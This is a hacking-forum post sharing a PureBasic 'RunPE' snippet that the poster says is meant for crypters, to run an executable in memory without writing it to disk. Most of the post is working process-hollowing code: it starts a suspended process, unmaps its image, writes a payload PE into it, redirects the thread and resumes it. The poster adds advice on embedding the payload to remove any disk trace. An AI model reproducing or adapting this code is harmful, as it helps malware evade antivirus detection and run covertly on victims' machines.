PureBasic Runpe | Snippet 05-05-2016, 04:46 PM
#1
Yo.
This would be used in crypters, or for other purposes where you want to execute a file without saving it to disk.
It's fairly basic, and just reads a file from the disk and get's it's byte contents, then executes those bytes in memory, however it wouldn't be hard to remove the disk dependence. All you would have to do is pack the base64/bytes of the program in a DataSection and just decompress at runtime.
This would be used in crypters, or for other purposes where you want to execute a file without saving it to disk.
It's fairly basic, and just reads a file from the disk and get's it's byte contents, then executes those bytes in memory, however it wouldn't be hard to remove the disk dependence. All you would have to do is pack the base64/bytes of the program in a DataSection and just decompress at runtime.
Code:
Structure IMAGE_SECTION_HEADER
SecName.b[8]
StructureUnion
PhysicalAddr.l
VirtualSize.l
EndStructureUnion
VirtualAddress.l
SizeOfRawData.l
PointerToRawData.l
PointerToRelocations.l
PointerToLinenumbers.l
NumberOfRelocations.w
NumberOfLinenumbers.w
Characteristics.l
EndStructure
Structure IMAGE_SECTION_HEADERS
ish.IMAGE_SECTION_HEADER[95]
EndStructure
Procedure RunPE(sProc.s, lBuff)
*idh.IMAGE_DOS_HEADER = lBuff
*ish.IMAGE_SECTION_HEADERS
pi.PROCESS_INFORMATION
*inh.IMAGE_NT_HEADERS
si.STARTUPINFO
lpBaseAddres.l
Ctx.CONTEXT
Addr.l
ret.l
i.l
CreateProcess_(#NUL, sProc, #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi)
Ctx\ContextFlags = #CONTEXT_INTEGER
If GetThreadContext_(pi\hThread, Ctx) = 0 : Goto EndThread : EndIf
ReadProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL)
If ZwUnmapViewOfSection_(Pi\hProcess, Addr) : Goto EndThread : EndIf
If lBuff = 0 : Goto EndThread : EndIf
*inh = lBuff + *idh\e_lfanew
lpBaseAddres = VirtualAllocEx_(pi\hProcess, *inh\OptionalHeader\ImageBase, *inh\OptionalHeader\SizeOfImage, #MEM_COMMIT | #MEM_RESERVE, #PAGE_EXECUTE_READWRITE)
WriteProcessMemory_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret)
*ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader
For i = 0 To *inh\FileHeader\NumberOfSections - 1
WriteProcessMemory_(pi\hProcess, lpBaseAddres + *ish\ish[i]\VirtualAddress, lBuff + *ish\ish[i]\PointerToRawData, *ish\ish[i]\SizeOfRawData, @ret)
Next
WriteProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL)
Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint
SetThreadContext_(pi\hThread, Ctx)
ResumeThread_(pi\hThread)
End
EndThread:
TerminateProcess_(pi\hProcess, #NUL)
CloseHandle_(pi\hThread)
CloseHandle_(pi\hProcess)
EndProcedure
Procedure Run()
If ReadFile(0, "C:\1.exe") = 0 : End : EndIf
lBuf = AllocateMemory(Lof(0))
ReadData(0, lBuf, Lof(0))
CloseFile(0)
;-----------------------
File.s = Space(1024)
GetModuleFileName_(0, File, 1024)
RunPE(File, lBuf)
EndProcedure
Run()


![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)